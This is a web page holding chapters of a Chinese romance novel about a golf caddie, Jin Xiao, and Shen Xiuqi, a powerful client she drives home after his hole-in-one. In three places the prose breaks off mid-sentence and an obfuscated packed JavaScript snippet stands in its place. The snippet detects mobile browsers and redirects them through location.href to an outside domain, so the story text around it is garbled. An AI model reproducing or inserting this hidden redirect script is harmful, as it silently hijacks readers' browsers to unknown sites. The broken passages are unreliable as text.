“7铁,”路时昱从秋秋手中接过球杆,“进沙就进沙吧,别进水就行。” 小白球高高飞起,如路时昱所愿,准确进了果岭右前方的沙坑。 路时昱一收杆,气得想笑:“漂亮!” 轮到沈修齐,今宵给他递上一支8号铁:“顺风,165到旗。” 他却说:“拿9号铁吧。” 对于沈修齐要换杆的想法,今宵不疑有他,9号铁杆面角度更大,精准度更高,只是对比8号铁来说,能打出的距离会稍短,此刻若是换作旁人,她可能会提醒一句用9号铁也许球会进水,但对着沈修齐,她实在没必要多说这么一句。 从她兼职以来,沈修齐是她跟过的最轻松的客人,不用看线,也不用耙沙,只需要报个基础数据沈修齐就能自己判断出最佳球路,她那点专业知识在他面前根本不够用。 她刚才给的是常规建议,只要力量适中,瞄准球洞右后方便能确保球落在果岭上。 直到沈修齐的球飞出去,今宵才察觉他并没有瞄右后方,而是瞄准了球洞正后方。 小白球落地的位置已经离后方沙坑不远了,这显然是一次冒险的尝试,但好在有惊无险。 球还没停,今宵双指放大手机镜头,眼见那颗小白球沿着渐低的地势朝球洞滚过去,叮啷一声,竟然直接进了。 “进了!”路时昱高呼一声,“三哥!一杆进洞!” 路时昱兴奋着去拍沈修齐肩膀,今宵还愣怔着没反应,镜头已经拍到他回头朝她看。 薄暮冥冥的晚光里,涟漪揉碎了落日金,煦风拂开了垂柳荫,身旁的秋秋开始欢呼,她连抬眸都显得太慢太缓。 她越过手机看他,在一瞬匆忙又短暂的对视里,像是千言万语都说尽,她回一个渐深的笑意,算是恭喜。 他收回目光,抬手摘了墨镜,再回头,她终于瞧清他眸中神采。 超越她想象的一双漂亮眉眼递来溶着晚霞的柔和目光,她手中的镜头将他此刻的情绪完整记录。 她恍然回神。 原来不是在看自己,而是在看镜头。 也对,这样精彩的时刻,的确值得记录。 她不知道何时按暂停合适,只好愣在原地,等着他朝自己走近。 直到那缕青绿香气将她包围,她才面带着微笑说:“我都记录下了,先生,恭喜您。” 他接过微微发烫的手机,微垂视线:“是今小姐指导得好。” 嗯? 她想要再说点什么的时候,路时昱已经走上前一把揽过沈修齐肩膀说要大办庆祝,她到唇边的话没有问出口。 她就这样,应下了这份并不属于她的功劳。 4. 等人接 - 一杆进洞,绝对是件需要运气加持的事。 满打满算,今宵接触高尔夫已经有12年的时间了,这还是她第一次亲眼见到一杆进洞发生,的确是令人惊喜,但一看打出一杆进洞的人,又觉得很合理。 沈修齐的球龄一定比她高,能在山地场打出好成绩,平时肯定也没少练。 不过他本人远比她想象中淡定,在他拿回手机后,他在镜头里展露的那些情绪也一并消失,她无意窥见的那份温柔,就像梦一样飘渺。 还剩两个洞没打,路时昱已经不淡定了,从沈修齐打出一杆进洞开始,他那手机就没有歇过。 安排人送钱打赏,联系方伯文定制礼品,还要通知亲友摆宴庆祝。 以前今宵光听人说,这一杆进洞是“破产球”,她当时觉得夸张,现在看路时昱这架势,的确是令人咋舌。 光是打赏,路时昱就准备了一百万现金,整个球场一百多名员工人人有份,包括今天所有客人的消费都由路公子买单。 18洞打完,沈修齐总成绩-4,黑Tee果然是比蓝Tee打得好。 今宵收拾好球车回去,接待大厅已经围满了领赏的人,她本想先去清理球杆,却被路时昱叫住。 她回头,隔着人群对上了路时昱目光,秋秋赶紧跑上前来拉她:“路先生叫你领赏呢!” 她被秋秋拽着走,视线几番巡睃,没有寻到落点,又收回。 秋秋看着那一箱子现金两眼直放光,路时昱也够大方,直接拿了两万放到秋秋手里。 秋秋喜形于色,说了一箩筐的恭维话。 轮到今宵,路时昱同样从手提箱里拿了两万。 今宵还没伸手,他又收了回去,脸上挂的是戏谑的笑:“给今小姐两万,太少,毕竟我三哥认您是第一大功臣。” 他又多拿了两万往今宵眼前一递,今宵并没有接。 直觉告诉她,路时昱此举有捉弄之嫌。 “还嫌少?” 周围已有不少艳羡之声,都叫今宵赶紧接住。 路时昱又趁机加码,一共六万往她面前一递,她平静地与他对视。 这四九城里的纨绔公子哥是什么德性,她还是知道的,既是站到了他面前,还要从他手中拿钱,那这接与不接,好像都免不了被捉弄一番。 索性,她弯起唇角带出一个标准微笑:“谢谢路先生。” 她刚一伸手,路时昱就将那六万块钱收了回去,此时他不光唇边有笑,连上翘的眼尾都带着得意。 可他分明就是在捉弄,却还要拿一个委屈的调子:“我这六万块钱,是真想给今小姐,可今小姐砸了我的车,我那车门不能修,只能换,这一番折腾下来,远不止六万。” “但也不能让你白忙活,这样吧,”他从一叠钱里抽出两张递给她,“你拿个辛苦费,我那车门就不找你赔了。” 听他这么说,今宵反倒松了口气,她唇边笑意更盛,高兴接过了那二百块钱道谢:“一言为定,谢谢路先生。” 比起拿那六万块钱,她更乐意用这二百摆脱纠缠,她的这份感谢也是真心实意。 她将钱折了折放进兜里,又冲他一笑,这才拨开人群往外头走。 尊重,体面,她都给齐全了,她只希望这位路大少爷有几分良心,回家好好教育那纨绔,别再来纠缠她了。 今宵一转身,路时昱就将眉尾高高挑起,见她远去,他收回视线弯了弯唇角。 不愧是书香门第出身,被他刻意为难也从容体面,再配上她那张楚楚可怜的小脸,别说,还挺招人。 他将钱扔给身边助理,打了个手势让他继续发。 今宵从接待大厅侧门走了出去,入了夜秋风骤劲,吹得她浑身一缩,她今儿扎了一天马尾,这时候头皮被拽得生疼,左右已经到下班时间,她抬手解了发带,用指腹揉了揉。 客人的球杆还没清理,她匆匆往清洁区去,天色已晚,她还得抓紧点儿,再晚就不好回家了。 沈修齐接完电话回头,身后灯火错落交织,有人站在一束莹黄里,好似风中水仙亭亭玉立。 他收好手机朝她走过去,叫了她的名字。 “今宵。” 小姑娘埋头做事做得专注,一听声,匆匆抬眸,那眼波闪过错愕一瞬,随即笑开:“我马上就清理好了,先生您稍等。” 知她受惊,沈修齐将声音更放轻了些:“不急,你慢慢来。” 这初秋的水温已经很凉,今宵指尖发红,一块软布被她搓来揉去,杆面的草屑和泥土很快被她擦拭干净,那些污秽,也全留在了她那双细嫩雪白的手上。 见她要开水龙头,沈修齐先她一步帮了忙。 “谢谢您,”小姑娘抬眼冲他笑,关心道,“这外头风大,您去里面等吧,我很快就好。” 沈修齐眸光微滞一瞬,问:“路时昱,给你劳务费了么?” “给啦。” 今宵双眼迎着光,长空远星般莹亮。 沈修齐确认了她眸中喜色,语气也跟着放松:“那就好,你——” “三哥——” 他的话被打断,路时昱寻了过来,今宵又埋头清理球杆。 “怎么在这儿站着?”路时昱瞥了今宵一眼,“里头找您签字呢。” 今宵默不作声,专心做着手里的事,面前的水龙头一直开着,水声哗哗响,沈修齐什么时候跟着路时昱走开她也没注意。 仔细将球杆清理干净,她将沈修齐的球包搬到了他车旁,匆匆回了球童室换衣服。 好多天没回小溪山,也不知院中又积了多少落叶,上次离家,她将关老师那盆永怀素忘在了西窗下,前两天刚下了一场雨,也不知那兰花的命是否够大,她得回去看看。 心里想着事儿,她手上的动作就慢了些,球童更衣室跟着进来几位女生,都是刚领了红包的,正聊得开心。 “今天这位老板也太大方了吧!一人三千!何方神圣啊?” “不知道,不过照我看,那位‘三哥’应该更有来头,这球可是他打进的,钱却是这老板发的,说明什么?” “说明这位老板在巴结人呐!光在我们球场就花了一百个,之后摆宴还不知道要花多少,欸,你们说,这不会是哪位红三代吧?” “有可能,我听秋秋说,这位三哥是开着红旗来的,中午的时候她还说人是陪打,笑死我了!” “嘁,她最爱背后蛐蛐客人了,还要给人分三六九等,谁不知道这四九城里遍地是贵人?头发长见识短,蠢得要死。” “欸,你们刚才听见老板跟今宵说啥了吗?我在后头光看他俩动嘴皮子了,啥也没听见。” “我听见了,说是今宵砸了他的车,他刚才本来要给六万的,只给了两百。” “诶哟喂,可惜了了啊!” “有啥好可惜的啊?你都没听出味儿来,人俩认识呢,再说今宵也不缺钱,说不准隔天就一起约着吃饭了,你没看老板看今宵那眼神?不单纯呐!” 一阵笑声传来,今宵收拾好衣物,打开了更衣室的门。 “诶哟,今宵,你,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543014|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在啊?” 今宵将工作服放回原位,冁然笑道:“我跟路先生不熟,真要是能坐在一起吃饭的交情,他也不至于当着这么多人的面说那些。” “也,也是哈,”其中一人反应过来,还安慰她,“没事的今宵,这次不行,还有下次。” 今宵轻轻点头,脸上依旧挂着笑,挑不出毛病的得体。 时间已经不早,她转身进了洗漱间,打开水龙头掬了一捧清水洗脸,她今天出门太匆忙,全天都是素颜,这时候倒也方便,随便洗洗就能走。 她背着包走出球童室,拐过走廊,接待大厅里的人已经散得差不多了,经理朝她招手,她走过去聊了几句,临走前,从他桌上薅了一个饭团和一瓶水。 小溪山点不到外卖,她上周太忙,也没抽出时间去超市采购,家里没什么吃的,今晚只能随便对付一口。 她踩着树影往外走,正准备叫车,一点开手机就看到闺蜜左疏桐发来的消息。 [疏桐:我哥生日你有空吧?] 她停下脚步给她回: [今宵:没空也必须腾出空。] 她和左疏桐从小就认识,小时候她们两家同住一个别墅区,又在一起上小提琴课,每次见面都要嫌弃对方拉得难听,但用左清樾的话说,她俩半斤八两,都难听。 左清樾是知名律所的合伙人,父亲走后,项目上还遗留了不少民事问题,都是左清樾在帮着处理。 就连父亲的葬礼,也是左家父母在帮着操持,她这些日子若是没有左家的支撑,怕是早就垮了。 她一直拿左清樾当亲哥哥,这哥哥过生日,妹妹哪能没空?礼物她都准备好了。 [疏桐:你最好是带上江澈的签名照来见我。] 自从左疏桐知道影星江澈是她们周教授的儿子后,三不五时就要缠着她去要签名。 且不说这周教授是这学期才开始给她们上课,这家庭关系属于个人隐私,别人都不知道周教授与江澈的关系,她若无端跑去要签名,实在冒昧。 [今宵:等着吧。] 缓兵之计,一缓再缓,一缓再缓......先缓着吧。 她捧着手机笑,忽地想起自己还没叫车,手上一乱,她只用三指勾住的那一小瓶水突然脱了手,顺着缓坡就滚了下去。 她顾不上叫车,赶紧跟着那瓶水往下跑,眼看要滚过岔路口,有人从树荫底下缓步走出,俯身将那瓶水捡了起来。 今宵的视线顺着那瓶水往上,停车场灯光昏昧,他站在那棵金叶垂榆树下,树影清浅,簌簌落满他肩头,他看过来的目光似空山寂月,又像藏了满天暗星,叫人移不开眼。 她脚步一顿:“先生,您,还没走?” 沈修齐转身拉开车门,探身往里抽了张纸,他将瓶身的灰尘擦尽,这才走上前递给她:“我等人接我。” 今宵茫然抬眸,对上他视线的那一瞬,风里拂来淡淡酒香。 “您喝酒了?” 她接过沈修齐手中的水,水还是凉的,瓶身却带有他掌心的温度。 他缓声应:“嗯,盛情难却。” “那您还要等多久?” 她这话问得太快,问完才反应过来不妥。 她正要解释:“我......” 却被他的话抢先夺走思绪:“今小姐会开车么?” “我......” “会。” 风好像停了,她不确定,她只知道他的声音很清晰,像清泉击石。 “那可否麻烦今小姐,送我一程?” 5. 上贼船 - 今宵不知道自己是怎么坐上驾驶位的,她总觉得今晚晕乎乎的,但又不像是生病的样子,让她不禁生出了几分担心。 她手里攥着安全带,侧过身,郑重其事地问沈修齐:“先生,我拿驾照还不到一年,您确定要我送您回家吗?” 沈修齐慢条斯理地拉过安全带扣上,再抬眸看她:“今小姐连高尔夫都能打好,还怕开车?” “我不是怕开车,我是......”她顿了下,“我是担心您的安全。” 虽说她这驾照考试都是一遍过,但从拿驾照到现在,她自己开车的次数并不多。 父亲出事之前,家里有司机,父亲出事之后,家里连车都没了。 她现在是真的相信,人在经历过突如其来的危机之后,是真的会变了性情。 这要搁以前,她哪会怀疑自己? 她眼底有极淡的哀色,却因车内光线昏暗而不露痕迹。 沈修齐将视线从她脸上移开,淡定道:“比起把命交给一个完全陌生的代驾,我更愿意交给今小姐。” 今宵听着这话莫名心头一紧,有种被委以重任的压迫感,但她又立马笑起来:“那我一定保证先生的安全。” 她抬手点开导航,问沈修齐:“我们到哪里?” 沈修齐语音输入一个路口后,补充道:“到这之后你再跟着我说的走就行。” 今宵很单纯地问了句:“这车的导航搜不到您家的具体位置吗?” 沈修齐依旧平淡地回:“所有导航都搜不到。” 信息时代,所有导航都搜不到的地址,只有可能是不允许被搜索。 临了,他还补了句:“但今小姐放心,我不是什么杀猪盘。” 电车缓缓启步,今宵被他这话逗笑:“是也没关系,反正我现在也没什么好让先生骗的。” 沈修齐偏眸看她,朦胧的蓝光里,他唇边噙了笑:“那可不一定。” “也就这条命了。”今宵目视前方说。 车上坐着这么个贵人,她这临时代驾责任重大,万一出点岔子,照她如今这境况,也只能拿命赔了。 沈修齐没再说话,低头摆弄手机。 路程过半,他进来一个电话,一接起来,电话那头的声音就格外清晰:“沈湛兮!这都几点了?你小子这架子是越来越大了啊,全家人都等着你开餐,回回都让我这老太婆打电话请,不请还不来是吧?” “没有的事,奶奶,不带您这么冤枉人的,我哪回回让您请了?” 沈修齐一听电话就像换了副模样,语气温和,哄着那头说:“我这不是在路上了吗?再有十分钟就到家,你们先吃,别等我。” 今宵没有去听祖孙俩说什么,她就听见了他的名字。 沈湛兮。 等他挂了电话,她闲聊似地问:“先生名字是‘湛兮,似或存’的湛兮么?” 他肯定颔首:“家里爷爷给起的。” 今宵半抿了下唇,说:“先生这名字起得真好。” 沈修齐单手撑着车门偏眸朝她看,这夜稠如泼墨,窗外霓虹落她半身彩,近处蓝光如萤,她用一双手握着方向盘,正襟危坐,不敢回望,他收回视线,笑着调侃:“是挺好,跟我人一样,似有若无的。” “怎么会?” 今宵不懂那些深奥的道法,却也知:“清澈透明至无形,并不代表不存在,不然‘湛兮’后面为何要接‘似或存’?” 既然存在,就一定有存在的意义。 沈修齐有点走神,没头没尾说了句:“今小姐声音很好听。” “啊?” 今宵困惑着踩了下刹车,他们已经到达导航显示的目的地,今宵顾不上去想他方才的话,只问接下来要怎么走。 沈修齐给她指了一条单行道,沿途路灯蜿蜒着伸向密林深处,四周忽然安静下来。 今宵猛地意识到一个问题。 “这儿是不是不好打车啊?” 知她在考虑什么,沈修齐直接道:“你把我这车开回去。” 趁前方是直路,今宵偏头看了他一眼,这合适吗? 沈修齐明显是知道她在想什么,但他那双眼还是盯着前方渐深的绿野,只语气里带了几分浑:“不然,你就得走上五公里才能打得到车,或者......” 他偏过头来看她:“你跟我回家吃饭,等家宴散了,我再叫我二姐送你。” 哪有这样的? 今宵一时语塞,前方路弯,又是上山,她根本不敢偏头去看他,想了想,她又问:“您家就没个司机么?” 她这话一问完,立马听见极轻的一声笑:“今小姐,今儿可是周五,没理由拘着人加班的。” “那您怎么还在周五晚上让我送您回家?” 她这加班时间也挺长的。 意识到自己语气里带着几分撒娇的意思,她又一脸正色解释:“我不是怨您。” “嗯,我知道。” 沈修齐又笑:“就是出了球场就不想管我死活的意思。” 前方有警卫亭,今宵踩住了刹车跟他辩:“先生这话说的好没道理,我若真不管您,今夜就不会上您这贼船。” 分文不取不说,还要一路担惊受怕,生怕您这位爷出什么岔子。 沈修齐听了这话朗声笑起来:“既是上了我这贼船,可就不好下了,今小姐,先进去吧。” 今宵不知他何意,一回身,警卫不知何时开了道闸杆,正站得笔直朝车内的人敬礼,她双手握紧方向盘,将车开了进去。 夜渐深,冷月悬在了古松梢头,铺一地银辉为今宵引路。 这冷戚戚凉幽幽的山林深不见底似的,若不说此行是送他回家,她还以为自己在勇闯什么龙潭虎穴。 拐过弯,浓荫层层递进,园林深处灯影重重,朱甍碧瓦掩着崇楼华堂,门前台阶三级,步步登高,叫人望而却步。 这哪是什么龙潭虎穴?这分明是高台厚榭,普通人攀不起,也进不去。 今宵没有开过去,她在路旁就掉了头。 已经累了一天了,她绝不可能再走五公里下山打车,更不可能跟他回家吃饭。 “那您什么时候来取车?”今宵偏头看着沈修齐问,“还是我给您送到哪儿?” 沈修齐朝她伸手:“手机给我。” 今宵转身往后座包里摸手机,解了锁放进他掌心里。 沈修齐接过,利落输入了自己的号码并拨打,说:“麻烦了今小姐一天,哪还能让今小姐送回来?我去取。” “那......”今宵从他手中接过了自己的手机,“那我是不是要给您地址?” “不用,”沈修齐已经开了车门,“我这车有定位。” “湛兮。” 突然一个陌生声音插过来,今宵吓了一跳。 车旁不知什么时候站了个人,沈修齐一开门,便跟着递进来一个素色布袋。 沈修齐下了车,将那布袋放在了座位上:“回去吃点热的。” 话刚说完他就关上了车门,她甚至没来得及问一句,您这车里有没有什么隐私?怎么就这么放心让她开回去? 视线缓落,她伸手碰了碰那布袋,里头是四四方方的盒子,应该是吃的。 她刚到就有人送过来,定是他早就吩咐好的。 她没意识到自己嘴角正在上扬,心里只想着,他还有点儿良心。 沈修齐直到迈上了台阶才回头,今宵已随山风去,唯留寒月上崇楼,他唇边有笑,被乔叔看了个正着。 “湛兮这是跟姑娘约会才来晚了?” 沈修齐大步迈进园中,低声笑:“乔叔,您见过跟姑娘约会还让姑娘送着回来的吗?” “那这是哪位朋友?怎么之前没见过?” 沈修齐脚步一缓,廊下琉璃宫灯晃晃悠悠将昏黄筛下,穿过曲桥进门前,他说了句:“一傻妞儿。” 家宴来晚,沈修齐一进门就恭恭敬敬叫人:“奶奶,让您久等了,一会儿陪您打桥牌。” 这话正中闫美玲下怀,她将身边圈椅拉开邀他坐:“你爷爷正说呢,今晚你们三个必须得留下来两个。” 沈修齐上头有一哥一姐,大哥沈明彰今年三十有四,二姐沈凝光跟他是双生姐弟,他下面还有个同父异母的弟弟沈安然,今年刚满十五岁。 沈修齐的母亲章晋宁在他十三岁那年因病离世,父亲沈泊宁如今调任在外,他这后母也带着儿子一起在地方生活。 闫美玲一直不太待见后来这儿媳,除过年以外,只有沈安然暑假会来园子里住上一阵,陪陪爷爷奶奶。 沈明彰一听这话就赶紧说:“夏婉回娘家了,我得早点儿带着宝婺回去睡觉,明儿个一早还有小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543015|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提琴课呢。” 正在跟虹姨学着拆蟹的小姑娘撅着嘴撒娇:“我不想上小提琴课,我想和三叔玩。” 小提琴多难啊,她天天跟锯木头似的,痛苦不已。 沈修齐正要应他这小侄女,却被沈凝光接过话:“正好裴珩上南边儿出差了,我留下来凑角儿,就让大哥带着宝婺回去吧。” 沈宝婺眼看希望落空,小嘴撅得老高,委屈巴巴地将刚拆下来的蟹腿肉塞进了嘴里。 沈修齐逗了她两句,说好了周日带她玩,小姑娘这才笑开。 他主动给沈君正倒上酒,又问沈凝光:“姐夫去哪儿出差了?” 沈凝光乜他一眼:“要不说您沈三爷是贵人多忘事呢,上头那经济工作会还是您去参加的,这刚传达完您就给忘了?” 倒也不是真忘了,而是他如今的位置太高,早已无需参与集团日常事务的安排,集团项目很多,人员配置都由沈凝光拍板决定,除了几个重大项目需要他密切跟进以外,其余只需听个工作汇报,定期召开会议,把握好大方向就行。 他今儿刚打完球回来,还没来得及和陈秘书联系,自然不清楚裴珩去了哪个项目上出差,也少不了被沈凝光揶揄几句。 “好了好了,”闫美玲打断他俩,“一起头就聊个没完了,好几天才回来一趟,不许说工作上的事儿!” 沈君正端着酒杯碰上了沈修齐的,问了句:“怎么没带永嘉来?” 沈凝光又接话说:“沈三爷今儿中午就上景云山打球去了,一杆进洞折腾到现在,哪顾得上永嘉?” 要说消息灵通,还得看沈凝光。 沈修齐早已习惯了沈凝光这揶揄,他如今坐镇后方,沈凝光夫妇都是听他话行事,他若是在集团当牛做马沈凝光自然高兴,他一偷闲,沈凝光夫妇的事情就多,她一逮着机会可不得使劲儿揶揄? 沈修齐自动无视,笑着给沈君正解释:“这不是马上奥数比赛?永嘉说了要拿第一,在家且练着呢。” 碰了杯,他又叮嘱沈君正:“您今晚只能喝这一杯啊。” “听见了啊,”闫美玲在一旁帮腔,“我这老太婆说的话你不听,湛兮说的你总得听吧?” 沈君正已是杖朝之年,如今能与儿孙喝的酒也是一杯比一杯少了,老先生在任时总是严于律己,年纪大了反倒想多贪一杯,闫美玲劝不住,只能靠沈修齐。 沈君正听了祖孙俩的话哈哈笑道:“你小子,就是记着我以前管你管得严,现在老头子不中用了,你倒是管起我来了。” 沈修齐是在沈君正身边长大的,与他一辈的孩子里,沈君正只给他取了字,湛兮,听着好像普普通通,可沈君正那些个老友里,谁不知道他晚年最得意之事,就是有了沈修齐这个孙子? “那我不管了,”沈修齐揽着沈君正肩膀说,“咱爷俩今晚不醉不归,正好您喝懵了,过会儿能把您那对儿矾红彩龙纹杯输给我。” 沈凝光又没忍住:“三爷您孤家寡人一个,用得上那一对儿么?别拿回去就积了灰了。” 沈修齐掀眼看她:“不兴我喝一杯看一杯?” 酒过三巡,桌上又聊起来他今天一杆进洞的事儿,沈明彰问他:“好端端的,怎么跑去景云山打球了?上我那儿不好?” 一听这话,沈凝光先笑起来:“他要是上你那儿打出个一杆进洞,你这个做大哥的准备给他掏多少钱?” “咱一家人谈钱多俗啊,”沈明彰端着酒碰沈修齐,“再说了,湛兮还用得着我给他掏吗?” 沈修齐喝完酒说:“谁也甭掏,我买了一杆进洞险。” 沈凝光:“那你还默许路时昱撒钱?” “这不是......”他这话说一半便停了。 “是什么?”沈明彰问。 他笑了下:“没什么。” 沈凝光问他有没有视频,让他拿出来看看。 沈修齐不理。 沈凝光也奇了怪了:“一破视频有什么好藏着掖着的?” 沈修齐仰头饮酒,想起那张嫩生生的小脸,眼里蒙上雨打不散的轻雾,像是醉得深。 他笑:“怕你分走了我的好运。” 扣在桌面的手机恰好在这时嗡声一震,他拿起查看。 [今宵:先生,您可以锁车了。] 他点开软件查看了车的位置,轻点了锁车按钮。 6. 正经人 - 直到看见车灯闪烁一下,今宵才转身进了家门。 小溪山这套一进四合院是关老师的祖产,他们二老退休后,就一起从远山郡搬到了这里生活。 今霖为了孝敬二老,将这四合院重新设计装修了一遍,院子虽小,但造景颇为用心,入户影壁上的繁花似锦纹样还是关老师亲手画的。 这时节,院中晚香玉香气正浓,西窗外的木犀落下一地金黄,池中鱼儿食着落花,莲影水中摇,碧波粼粼。 小院儿各项设施齐全,没了豪宅别墅佣人司机,今宵的生活也有基础的保障,唯一不适应的是孤独。 仔细锁好门之后,她绕进了影壁后的厨房,将沈修齐准备的晚餐放进微波炉又热了一遍。 她方才提着布袋子进来,准备将晚餐倒腾进家里的餐具,一打开布袋子就瞧见了压在餐盒下的一沓钱。 她拿开餐盒粗略一数,整十万。 料想是他知道了她从路时昱那儿只拿了二百,这才特地拿来补偿她的。 她对着那十万块钱愣了好一会儿。 如果那球真是靠她指导才进的,她也就拿了。 可沈修齐的球技远超她想象,虽说不至于百分百指哪打哪,但那球的落点和她当时建议的位置相去甚远,甚至还换了杆,他从一开始就没有参考她的建议,那这钱她就不该拿。 像她们这样的球童,如果不是遇上特别阔气的客人,平时也就拿200-500的小费,虽然路时昱只给了她200,但了了车门一事,她已经满足了。 况且,她并不想再和他们有什么接触。 她将餐盒洗干净,连着那十万块钱一起放回了车里,这才给他发消息让他锁车。 一天的工作结束,他们也不会再有什么联系了。 取出晚餐,她坐在料理台前点开了手机通讯录,眼看着屏幕上的“沈湛兮”三个字,她指腹无意一触,界面跟着跳出“拷贝”一词。 鬼使神差地,她将这个名字粘贴到了搜索框。 搜索网站很快给出了响应:「抱歉,未找到相关结果。」 她怔怔望着这九个字,利落退出搜索网站,回到通讯录删掉了那个号码。 和那座园子一样被禁止搜索的名字,不会与她产生什么关联。 收拾料理台的时候,她借着厨房灯光瞧见了西窗下的那盆永怀素,担心它死了,她赶紧放下手里的活儿,走出门将花盆搬进了厨房。 这莲瓣兰最是难养,干了湿了冷了热了都不行,她将花盆放在水池边,伸手摸了摸盆中的土。 好些天未曾照管过它,以为它要不行了,没想到还活得好好的。 就像她得知父亲出事的那一刻,她也以为自己要不行了,没想到还活得好好的。 她抽来一张湿巾轻轻擦去了叶片上的尘土,少少浇了一点水才将花盆搬回了南书房。 关老师还在家时,这永怀素年年都开花,今年关老师不在,她也想好好养护着,等开了花再搬去疗养院给关老师看。 她其实还没能适应自己一个人的生活,但生活技能已经掌握了七七八八,收拾院子,做简单的饭菜,爬个梯子换个灯泡,照着教程维修个小型家电都不在话下。 这要搁以前,她那双手还没碰到厨房水池就先被孟女士喊停了。 用她妈妈的话说,这女人的手就是第二张脸,得要精心养护,半点粗活脏活都干不得,她被一家子人宠着长大,如今,得要用这双手创造全新的生活了。 她收拾完厨房才关好灯回西厢房,今儿累了一天,她随便翻了套睡衣就进了浴室洗漱,等她躺到床上的时候,已经是临近午夜了。 她临睡前习惯看一眼学校的消息群,一点亮手机就看到一条新信息,一小时前发来的,号码备注已经被她删掉了,是沈湛兮。 [辛苦了。] 她盯着这几个字看了一会儿,没回。 转而点开微信,左下角通讯录的位置多了一个醒目的“1”,她心中有些预感,点开详情,看到了他添加好友时的备注“沈湛兮”。 她在那个确认界面停留了好久,久到一双眼发干发涩,最后还是退出,没有通过。 - 沈修齐陪着闫美玲打完桥牌已经快十二点了,他从小在这园子里长大,二老也一直留着他的卧室和书房,每次家宴结束,他都会在园中留宿,今夜他得偿所愿,配合闫美玲赢下了沈君正那对儿矾红彩龙纹杯,送走了沈凝光,他心满意足地上了楼。 正要进房间,闫美玲叫住了他,这老太太瞧着疑神疑鬼的,他好奇走过去,刚一进书房闫美玲就将门关上,拉着他小声说:“小旋外派任务结束了。” “嗯,然后呢?” 沈修齐兴致缺缺,懒懒散散往墙上一靠,明明今夜那股子酒劲儿早就散了,他还装得一副酩酊模样,明显是不想聊这话题。 闫美玲当然知道她这乖孙心里在想什么,可她有任务在身,总得把话带到,便继续说:“年底是她爷爷大寿,之前你们那事儿没成,老胡三番五次地找你爷爷下棋聊天儿,你爷爷想让我问问你是什么想法?若你还愿意,这次就趁老胡过寿给你俩定下来——” “可别。”沈修齐打断了她。 闫美玲一巴掌拍他身上:“听我把话说完!” 沈修齐没声儿了。 闫美玲继续道:“当年的事情发生得突然,有些误会在所难免,况且那是小旋心里有你才分外在意,事后老胡不也登门解释了?” 她停顿了几秒:“你们如今男未婚女未嫁的,都到时候了,就没理由再让小旋等了,小旋真的蛮好的,这几年愈发出色了。” 沈修齐今天心情很好,听了这话也不恼,只说:“她好不好跟我有什么关系?我又不娶她。” 闫美玲早料到沈修齐会是这个反应,她语重心长地劝:“可你也老大不小了啊,湛兮,我和你爷爷还想抱曾孙呢。” 沈修齐深吸了口气,一把揽过闫美玲肩膀,转身开了门将她往门外推:“奶奶,我还不到三十,怎么就老大不小了?我这身强力壮的,您还怕抱不上曾孙?” “我也不是这意思,”闫美玲扭过头冲他说,“这不是我和你爷爷年纪大了,你再晚点儿,我俩这把老骨头可就抱不动喽。” “抱不动您就站一边儿看,您二老别拿曾孙打我主意,我不可能娶胡旋,谁劝都没用。” 他将闫美玲推回房,一股脑儿说:“时候不早了,您老早点歇着吧,啊。” “你这臭小子!那你就打算孤家寡人过一辈子?!” 沈修齐迅速关上门,将闫美玲的声音一并隔绝。 回到房间,听完陈秘书汇报,他想起点儿什么,一翻手机,消息一箩筐,一条想看的都没有。 - 今宵早上出门的时候,沈修齐的车还停在她家院外,料想他会差人来取,她也没打算联系他。 简单吃了早饭,她便收拾着出门了。 小溪山哪哪都好,就是周围没有商圈,菜市场也在山下,家里的食材需要定期补货,不然就只能吃速食凑合,可就算是生活不便,她也不想在学校宿舍住。 这也算是她的公主病之一吧,她这19年从未住过宿舍,家里不是独栋就是大平层,她很难去适应别人的生活作息和习惯,为了减少相互打扰,她还是决定在没有早八的日子都回家住。 习惯性来到城西的山姆,以前她还在远山郡住的时候,家里的阿姨都来这里采购。 家里需要添置些日用品,她站在货架前搬洗衣液,以前是不当家不知柴米油盐贵,现在每月一拉账单都瞠目结舌。 父亲出事掏空了家底,却始终没动她那笔教育基金,她在心里默默算账,除去学费生活费,再留出一部分活期应急,她应该还能拿出点儿钱做理财,不过以前家中资产都是专业的基金经理在打理,她自己琢磨的风险太高,还得找个人好好问问。 正出神,她好像听见有人喊了声“元元”,她一回头,那鹤立鸡群的人不是左清樾又是谁? “清樾哥。” 她一对上左清樾视线就舒展了眉眼冲他笑,来人一身休闲装,燕麦色连帽卫衣浅蓝牛仔裤,近190的身高和端正的五官走到哪都是人群的焦点,光看外表,不会有人想到他快三十了。 “怎么这么早就出来了?” 左清樾推着购物车往她身旁一站,头顶的光线都暗了几分。 她将手中湿巾放进购物车,说:“这不是想着早点超市人少?倒是你,怎么还亲自来买东西?米姨呢?给她放假了?” 左清樾笑着答她:“家里的东西哪用得着我买?是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 